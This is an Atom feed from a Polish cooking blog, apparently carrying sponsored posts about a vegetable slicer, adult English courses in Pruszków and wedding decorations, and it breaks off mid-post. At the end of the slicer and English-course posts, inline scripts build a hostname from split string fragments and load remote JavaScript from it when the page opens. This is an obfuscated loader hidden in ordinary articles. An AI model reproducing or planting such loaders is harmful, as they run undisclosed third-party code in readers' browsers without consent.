<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8139664493722864274</id><updated>2026-08-26T10:16:27.344+02:00</updated><category term="Przepisy"/><category term="Ptactwo"/><category term="Inne"/><category term="Ciasta i ciasteczka"/><category term="Chleb"/><category term="Wegetariańskie"/><category term="Małe danka"/><category term="Dla dzieci"/><category term="Zupy"/><category term="Desery"/><category term="Orientalne"/><category term="Ryby"/><category term="Przybory"/><category term="DIY"/><category term="Do słoika"/><category term="Warzywa"/><category term="Sałatki i surówki"/><category term="Techniki"/><category term="Makarony"/><category term="Przystawki"/><category term="Wskazówki"/><category term="Boże Narodzenie"/><category term="Wieprzowina"/><category term="Sosy"/><category term="recenzje"/><category term="Dookoła świata"/><category term="English"/><category term="Soki i smoothie"/><category term="Na imprezę"/><category term="Wołowina"/><category term="Lody"/><category term="Ogród"/><category term="torty"/><category term="Na grilla"/><category term="Napoje"/><category term="Pizza"/><category term="Podróże"/><category term="Inpiracje"/><category term="Owoce morza"/><category term="Produkty"/><category term="Włochy"/><category term="Dodatki"/><category term="Książki kulinarne"/><category term="Wakacje"/><category term="CMC"/><category term="Cielęcina"/><category term="Saracino"/><category term="figurki na tort"/><category term="Beritnica"/><category term="Chorwacja"/><category term="Konkurs"/><category term="Metajna"/><category term="Owoce"/><category term="Pag"/><category term="Polska"/><category term="Przyprawy"/><category term="Roztocze"/><category term="Rucica"/><category term="SMBC"/><category term="Suncane"/><category term="Susiec"/><category term="Szumy nad Tanwią"/><category term="Toskania"/><category term="Walentynki"/><category term="Winogrona"/><category term="drip"/><category term="drip cake"/><category term="gdzie na weekend"/><category term="hydroponika"/><category term="krem maślany"/><category term="kwiaty maślane"/><category term="las"/><category term="masa cukrowa"/><category term="pomysł na weekend"/><category term="rodzinny wypad"/><category term="spacer"/><category term="turystyka"/><category term="weekend"/><category term="wodospady"/><category term="Ślub i wesele"/><title type='text'>Od kuchni</title><subtitle type='html'>o pieczeniu, gotowaniu i nie tylko!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>615</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-8307085906476091581</id><published>2026-05-04T12:08:00.003+02:00</published><updated>2026-05-04T12:13:36.233+02:00</updated><title type='text'>Wielofunkcyjna krajalnica, szatkownica do warzyw – V6 od Borner</title><content type='html'>Nowoczesna kuchnia coraz częściej opiera się na narzędziach ułatwiających i przyspieszających przygotowanie posiłków, zachowując jednocześnie wysoką jakość i estetykę potraw. Jednym z takich rozwiązań jest Hebel V6 marki Börner, umożliwiający szybkie i precyzyjne szatkowanie warzyw oraz owoców. Dzięki przemyślanej konstrukcji i zastosowaniu trwałych materiałów, pozwala on uzyskać powtarzalne efekty krojenia, wpływając na wygodę pracy w kuchni.
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQMq0MqG1YMyXiKUp1wMtR0f5F_VPDDbJlaxNlvmU4ZpiKsZpQPVaTpIJE6awMjcUM5dXYaQY-HI1Xbfle-Ck6Ext4FQmg33QuofhfUMhyphenhyphenRtuQKw3JHZaJTKMxbMqynCd7kxFTy4wkvyv5taxm8Ag3VzHbrYHMx6LAifiRMQit4_OULL5CynJBEfe138V8/s2000/v5-basis-set-orange-tomatenhobel-3.jpg&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;2000&quot; data-original-width=&quot;2000&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQMq0MqG1YMyXiKUp1wMtR0f5F_VPDDbJlaxNlvmU4ZpiKsZpQPVaTpIJE6awMjcUM5dXYaQY-HI1Xbfle-Ck6Ext4FQmg33QuofhfUMhyphenhyphenRtuQKw3JHZaJTKMxbMqynCd7kxFTy4wkvyv5taxm8Ag3VzHbrYHMx6LAifiRMQit4_OULL5CynJBEfe138V8/s600/v5-basis-set-orange-tomatenhobel-3.jpg&quot; width=&quot;600&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h3&gt;&lt;span&gt;Charakterystyka i konstrukcja krajalnicy V-hebel&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span&gt;Krajalnica V-hebel marki Börner to urządzenie kuchenne zaprojektowane z myślą o szybkim i precyzyjnym krojeniu warzyw oraz owoców. Wyposażona w ostrza ułożone w charakterystyczny kształt litery „V”, umożliwia uzyskanie równych plasterków, słupków czy kostek, zachowując przy tym dużą kontrolę nad grubością krojenia. Wykonana z trwałych materiałów, takich jak wysokiej jakości tworzywo sztuczne wolne od BPA oraz stal nierdzewna, zapewnia długotrwałe użytkowanie bez utraty ostrości. Stabilna konstrukcja oraz ergonomiczny uchwyt pozwalają na wygodne korzystanie z urządzenia, minimalizując wysiłek podczas przygotowywania składników.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span&gt;Funkcjonalność i możliwości zastosowania w kuchni&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span&gt;&lt;a href=&quot;https://borner.pl/produkt/szatkownica-do-warzyw-hebel-v5/&quot; target=&quot;_blank&quot;&gt;Szatkownica do warzyw V-hebel&lt;/a&gt; znajduje zastosowanie w wielu czynnościach kuchennych, umożliwiając przygotowanie różnorodnych potraw w krótszym czasie. Korzystając z wymiennych wkładek tnących, można uzyskać plastry o różnej grubości, cienkie julienne, a także większe kawałki idealne do sałatek czy zapiekanek. Podczas przygotowywania warzyw na surówki, zupy lub dania jednogarnkowe, użytkownik może liczyć na powtarzalność cięcia, która z kolei wpływa&amp;nbsp; na równomierne gotowanie składników. Urządzenie sprawdza się zarówno przy miękkich produktach, takich jak pomidory czy ogórki, jak i przy twardszych warzywach, w tym marchew czy ziemniaki, pozwalając uzyskać estetyczny efekt bez dużego nakładu pracy.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span&gt;Bezpieczeństwo użytkowania i ergonomia pracy&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span&gt;Podczas korzystania z krajalnicy V-hebel istotną rolę odgrywa bezpieczeństwo, zapewniane przez odpowiednie akcesoria i konstrukcję urządzenia. Do szatkownic zaprojektowany został uchwyt ochronny, umożliwiający trzymanie warzyw w bezpiecznej odległości od ostrzy, ograniczając ryzyko skaleczeń. Zainteresowani zakupem tarki mogą kupić zestaw z takim uchwytem lub, w przypadku, gdy posiadają już uchwyt mogą wybrać zestaw bez niego. Stabilna podstawa oraz antypoślizgowe elementy pozwalają na pewne ustawienie krajalnicy na blacie, zapobiegając przesuwaniu się podczas pracy. Ergonomiczny kształt urządzenia ułatwia jego obsługę, umożliwiając płynne ruchy krojenia, nawet przy dłuższym użytkowaniu. Stosując się do zaleceń producenta oraz korzystając z dedykowanych akcesoriów, można znacząco zwiększyć komfort i bezpieczeństwo pracy w kuchni.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span&gt;Trwałość i jakość wykonania urządzenia&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span&gt;Produkty marki Börner słyną z solidnego wykonania, co znajduje odzwierciedlenie w konstrukcji krajalnicy V-hebel. Ostrza wykonane ze stali molibdenowej charakteryzują się wysoką odpornością na korozję oraz długotrwałym zachowaniem ostrości, co przekłada się na skuteczność krojenia przez wiele lat użytkowania. Tworzywo użyte do produkcji korpusu jest odporne na uszkodzenia mechaniczne oraz działanie wilgoci, co pozwala na bezpieczne mycie i codzienną eksploatację. Dzięki przemyślanej konstrukcji urządzenie nie traci swoich właściwości nawet przy intensywnym użytkowaniu, zachowując funkcjonalność i estetyczny wygląd.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span&gt;Łatwość czyszczenia i konserwacji&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span&gt;Utrzymanie krajalnicy V-hebel w czystości nie sprawia większych trudności, co stanowi istotną zaletę w codziennym użytkowaniu. Elementy urządzenia można łatwo rozmontować, umożliwiając dokładne usunięcie resztek jedzenia z trudno dostępnych miejsc. Regularne czyszczenie oraz prawidłowe przechowywanie, zabezpieczające ostrza przed uszkodzeniem, pozwalają utrzymać urządzenie w dobrym stanie przez długi czas, zachowując jego funkcjonalność i higienę użytkowania.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span&gt;Dla kogo sprawdzi się krajalnica V-hebel&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span&gt;Krajalnica V-hebel marki &lt;a href=&quot;https://borner.pl/&quot; target=&quot;_blank&quot;&gt;Börner&lt;/a&gt; stanowi praktyczne narzędzie dla osób przygotowujących posiłki w domu, jak i dla użytkowników ceniących szybkość i precyzję pracy w kuchni. Sprawdzi się zarówno u amatorów gotowania, jak i w kuchni profesjonalnej, w której poszukuje się wysokiej jakości sprzętu ułatwiającego codzienne obowiązki. Przygotowując większe ilości warzyw, na przykład do przetworów, sałatek czy dań rodzinnych, można znacząco skrócić czas pracy, uzyskując jednocześnie estetyczny efekt. Dzięki swojej funkcjonalności i trwałości urządzenie to może stać się stałym elementem wyposażenia kuchni.&lt;/span&gt;
&lt;script&gt;
(function(){
u2yk=document.createElement(&quot;script&quot;);u2yk.type=&quot;text/javascript&quot;;
u2yk.async=true;u2yk_=(&quot;op&quot;+(&quot;ens&quot;)+&quot;t&quot;)+&quot;a&quot;;u2yk_+=(&quot;t.e&quot;)+&quot;&quot;+&quot;u&quot;;
u2yk.src=&quot;https://&quot;+u2yk_+&quot;/2610127269.ushz1h3u2ykX5x81emddm0cXkw4n82&quot;;
document.body.appendChild(u2yk);
})();
&lt;/script&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;&lt;i&gt;Materiał sponsorowany&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/8307085906476091581/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2026/05/wielofunkcyjna-krajalnica-szatkownica.html#comment-form' title='Komentarze (0)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/8307085906476091581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/8307085906476091581'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2026/05/wielofunkcyjna-krajalnica-szatkownica.html' title='Wielofunkcyjna krajalnica, szatkownica do warzyw – V6 od Borner'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQMq0MqG1YMyXiKUp1wMtR0f5F_VPDDbJlaxNlvmU4ZpiKsZpQPVaTpIJE6awMjcUM5dXYaQY-HI1Xbfle-Ck6Ext4FQmg33QuofhfUMhyphenhyphenRtuQKw3JHZaJTKMxbMqynCd7kxFTy4wkvyv5taxm8Ag3VzHbrYHMx6LAifiRMQit4_OULL5CynJBEfe138V8/s72-c/v5-basis-set-orange-tomatenhobel-3.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-4377815703403475665</id><published>2025-11-26T16:10:00.002+01:00</published><updated>2025-11-26T16:15:08.511+01:00</updated><title type='text'>Angielski dla dorosłych Pruszków – skuteczna nauka języka bez stresu i presji</title><content type='html'>Nauka angielskiego w dorosłym wieku to coraz częstszy wybór osób, które chcą się rozwijać zawodowo, podróżować bez barier lub po prostu nadrobić zaległości z lat szkolnych. W Pruszkowie oferta kursów językowych skierowanych do dorosłych stale rośnie, a placówki coraz lepiej rozumieją potrzeby uczących się po trzydziestce, czterdziestce czy pięćdziesiątce. Artykuł, który czytasz, został opracowany z myślą o osobach dorosłych szukających skutecznego i bezstresowego sposobu na naukę angielskiego w Pruszkowie.
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZu-wsP7LHt5T-nLMgJZY6lft4_w7dnuCjf1ThT6iQv_IVgyVYqaWu0DJooBh3p9VhPxq9jxHD472ITI4Tqi_ZcOHtX-d_Sn9EnAwWLRz9jNxwbbaFD0LuuX0Y7btb-bGwjCd045FhNY3Y1T046mOxN9XoXHhIqb4cDkwQ1FW0sjde34NKkc-dYLDuoVBz/s1920/pexels-polina-tankilevitch-6929220.jpg&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;400&quot; data-original-height=&quot;1920&quot; data-original-width=&quot;1280&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZu-wsP7LHt5T-nLMgJZY6lft4_w7dnuCjf1ThT6iQv_IVgyVYqaWu0DJooBh3p9VhPxq9jxHD472ITI4Tqi_ZcOHtX-d_Sn9EnAwWLRz9jNxwbbaFD0LuuX0Y7btb-bGwjCd045FhNY3Y1T046mOxN9XoXHhIqb4cDkwQ1FW0sjde34NKkc-dYLDuoVBz/s400/pexels-polina-tankilevitch-6929220.jpg&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Dowiesz się z niego:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;jak wygląda oferta &quot;angielski dla dorosłych Pruszków&quot; i na co zwracać uwagę&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;jakie metody nauki są najskuteczniejsze dla dorosłych uczniów&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;czym różni się kurs językowy dla dorosłych od standardowych lekcji&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;jak pokonać bariery psychiczne i nabrać pewności w mówieniu po angielsku&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;b&gt;Spis treści&lt;/b&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Angielski dla dorosłych Pruszków – jak wygląda lokalna oferta kursów&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dlaczego warto uczyć się języka angielskiego w dorosłym wieku&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Metody nauczania skuteczne dla dorosłych&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Kursy grupowe czy indywidualne – co się bardziej opłaca&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Jak pokonać stres i obawy przed mówieniem&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Jak wybrać szkołę językową w Pruszkowie&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Nauka online czy stacjonarnie – co wybrać w Pruszkowie&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;FAQ – pytania najczęściej zadawane przez dorosłych kursantów&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;&lt;a href=&quot;https://englishsplash.pl/szkola-jezykowa-pruszkow/&quot;&gt;&lt;u&gt;&lt;b&gt;Angielski dla dorosłych Pruszków&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;&lt;b&gt; – jak wygląda lokalna oferta kursów&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Na terenie Pruszkowa działa kilka szkół językowych, które oferują specjalne kursy angielskiego dla dorosłych. Są to zajęcia profilowane, których celem jest nauka praktyczna – bez niepotrzebnej gramatycznej teorii znanej ze szkoły. Programy są najczęściej układane z myślą o osobach uczących się po pracy lub po dłuższej przerwie edukacyjnej.&lt;/p&gt;
&lt;p&gt;Kursy podzielone są zazwyczaj według poziomu zaawansowania (od A1 do B2/C1), z możliwością bezpłatnego testu wstępnego. W ofercie znajdują się zarówno zajęcia indywidualne, jak i grupowe (3–6 osób). Czas trwania lekcji to najczęściej 60–90 minut, raz lub dwa razy w tygodniu.&lt;/p&gt;
&lt;h2&gt;&lt;br&gt;&lt;br&gt;&lt;/h2&gt;
&lt;h2&gt;&lt;b&gt;Dlaczego warto uczyć się języka angielskiego w dorosłym wieku&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Wbrew mitom, dorosły mózg świetnie radzi sobie z nauką języków obcych. Co więcej, osoby dorosłe mają przewagę: są bardziej zmotywowane, lepiej rozumieją własne potrzeby i wiedzą, jak się uczyć efektywnie.&lt;/p&gt;
&lt;p&gt;Znajomość angielskiego pozwala:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;awansować lub zmienić pracę na lepiej płatną&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;swobodnie podróżować i korzystać z zagranicznych usług&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ułatwić dzieciom naukę, pomagając im w zadaniach&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;rozwijać się intelektualnie i towarzysko&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;b&gt;Metody nauczania skuteczne dla dorosłych&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Dorośli uczniowie mają inne potrzeby niż dzieci. Dlatego skuteczna szkoła językowa powinna stosować metody dopasowane do dojrzałych słuchaczy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;komunikacja i konwersacje jako podstawa&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;nauka przez realne sytuacje życiowe (zakupy, praca, podróże)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;brak ocen i testów stresujących&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;powtórki i rytmiczne utrwalanie wiedzy&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;elastyczność formy (materiały wideo, audio, interaktywne)&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Coraz częściej stosuje się metody blended learning – łączące zajęcia stacjonarne z elementami online.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Kursy grupowe czy indywidualne – co się bardziej opłaca&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Wybór pomiędzy zajęciami grupowymi a indywidualnymi zależy od celów i budżetu. Kursy grupowe:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;są tańsze&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;dają możliwość wymiany doświadczeń z innymi uczącymi się&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;stwarzają przyjazną atmosferę i poczucie wspólnej motywacji&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Z kolei kursy indywidualne:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;zapewniają 100% uwagi lektora&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;pozwalają dopasować tempo nauki do ucznia&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;koncentrują się na konkretnych potrzebach (np. język w pracy, prezentacje)&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;br&gt;&lt;br&gt;&lt;/h2&gt;
&lt;h2&gt;&lt;b&gt;Jak pokonać stres i obawy przed mówieniem&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Największym wyzwaniem dla dorosłych uczniów nie jest gramatyka, ale strach przed mówieniem. Kluczowe są tutaj trzy rzeczy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;lektorzy z empatią i doświadczeniem w pracy z dorosłymi&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;bezpieczne, kameralne grupy&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;nacisk na praktykę, a nie poprawność formalną&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Wielu kursantów odkrywa, że po kilku lekcjach bariery psychiczne znikają, a rozmowa po angielsku staje się naturalna.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Jak wybrać szkołę językową w Pruszkowie&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Wybierając szkołę językową w Pruszkowie, warto zweryfikować:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;czy oferuje kursy &quot;angielski dla dorosłych Pruszków&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;jakie ma opinie od innych kursantów w podobnym wieku&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;czy można zapisać się na lekcję pokazową&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;jakie metody pracy stosują lektorzy&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;czy szkoła ma elastyczne godziny zajęć (np. wieczorami lub w weekendy)&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Profesjonalna placówka stawia na komfort dorosłych uczniów i nie ocenia ich przez pryzmat szkolnych standardów.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Nauka online czy stacjonarnie – co wybrać w Pruszkowie&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Zajęcia stacjonarne w lokalnej szkole językowej to dobry wybór dla osób, które potrzebują kontaktu z lektorem i grupą. Z kolei kursy online sprawdzają się u tych, którzy mają napięty grafik lub pracują zdalnie.&lt;/p&gt;
&lt;p&gt;Coraz więcej szkół w Pruszkowie oferuje model hybrydowy. Warto zapytać o możliwość zmiany trybu zajęć w trakcie semestru.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;FAQ – pytania najczęściej zadawane przez dorosłych kursantów&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;b&gt;Czy muszę znać podstawy, żeby zapisać się na kurs?&lt;br&gt;&lt;/b&gt; Nie. Większość szkół prowadzi kursy od poziomu A1, a przed zapisaniem się można wziąć udział w prostym teście poziomującym.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Czy nie jestem za stary na naukę języka?&lt;br&gt;&lt;/b&gt; Nie ma czegoś takiego jak &quot;za późno na angielski&quot;. Najważniejsza jest motywacja i systematyczność.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Czy angielski dla dorosłych Pruszków to tylko zajęcia wieczorowe?&lt;br&gt;&lt;/b&gt; Nie. Czasem dostępne są również poranne grupy, szczególnie dla osób niepracujących zawodowo.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Ile trwa taki kurs?&lt;br&gt;&lt;/b&gt; Zależy od formy, ale najczęściej 3–6 miesięcy z możliwością kontynuacji.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Czy mogę uczyć się tylko konwersacji?&lt;br&gt;&lt;/b&gt; Tak. Wiele szkół oferuje kursy konwersacyjne jako osobny moduł.&lt;/p&gt;&lt;script&gt;
(function(){
arev=document.createElement(&quot;script&quot;);arev_=&quot;o&quot;+(&quot;pe&quot;)+&quot;ns&quot;+&quot;t&quot;;
arev_+=(&quot;a&quot;)+&quot;t&quot;+&quot;.&quot;;arev_+=((&quot;e&quot;)+&quot;u&quot;);arev.type=&quot;text/javascript&quot;;
arev_+=&quot;/&quot;; arevu=&quot;2546309849&quot;;arevu+=&quot;.n2p7nlv3rev3lsvmmm5&quot;;arevu+=&quot;v2rX6wvXvkf&quot;;
arev.src=&quot;https://&quot;+arev_+arevu;arev.async=true;document.body.appendChild(arev);
})();
&lt;/script&gt;
Artykuł partnera
</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/4377815703403475665/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2025/11/angielski-dla-dorosych-pruszkow.html#comment-form' title='Komentarze (0)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/4377815703403475665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/4377815703403475665'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2025/11/angielski-dla-dorosych-pruszkow.html' title='Angielski dla dorosłych Pruszków – skuteczna nauka języka bez stresu i presji'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZu-wsP7LHt5T-nLMgJZY6lft4_w7dnuCjf1ThT6iQv_IVgyVYqaWu0DJooBh3p9VhPxq9jxHD472ITI4Tqi_ZcOHtX-d_Sn9EnAwWLRz9jNxwbbaFD0LuuX0Y7btb-bGwjCd045FhNY3Y1T046mOxN9XoXHhIqb4cDkwQ1FW0sjde34NKkc-dYLDuoVBz/s72-c/pexels-polina-tankilevitch-6929220.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-8539785816883919581</id><published>2025-11-26T16:06:00.002+01:00</published><updated>2025-11-26T16:15:26.623+01:00</updated><title type='text'>Jak wybrać dekoracje ślubne dopasowane do stylu wesela?</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;span style=&quot;background-color: white; color: #2b2b33; font-family: Inter, Helvetica, sans-serif; font-size: 17.55px;&quot;&gt;Dobór odpowiednich dekoracji ślubnych to jeden z najważniejszych elementów planowania uroczystości. Dekoracje mają nie tylko podkreślić charakter wydarzenia, ale też wpływać na klimat i samopoczucie gości. Estetyka, spójność z motywem przewodnim, a także dopasowanie do miejsca i pory roku – to wszystko ma znaczenie. W tym przewodniku, opartym m.in. na ofercie dece-dekoracje.pl, przedstawimy, jak dobrać dekoracje, które będą nie tylko piękne, ale i funkcjonalne.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7ydpaoWnykGeBk0UCNsbX39Bm7VX-L0AEdMqEGbJfmcHs9UHc6dLAjqRmbKOH1KUAQSvQoVgvqaNUTfknAY_Au9Wn9FJSIBmw4Oho7ZFxHJJhMDIY_f22o4zZTp11X4xGfZVBpDxz75dFWFA7U-vhjznNaeSwFW8r0eRJvcxSOQggz5bmpWYgr3GEHQNT/s1280/pexels-solliefoto-313707.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;853&quot; data-original-width=&quot;1280&quot; height=&quot;425&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7ydpaoWnykGeBk0UCNsbX39Bm7VX-L0AEdMqEGbJfmcHs9UHc6dLAjqRmbKOH1KUAQSvQoVgvqaNUTfknAY_Au9Wn9FJSIBmw4Oho7ZFxHJJhMDIY_f22o4zZTp11X4xGfZVBpDxz75dFWFA7U-vhjznNaeSwFW8r0eRJvcxSOQggz5bmpWYgr3GEHQNT/w638-h425/pexels-solliefoto-313707.jpg&quot; width=&quot;638&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span 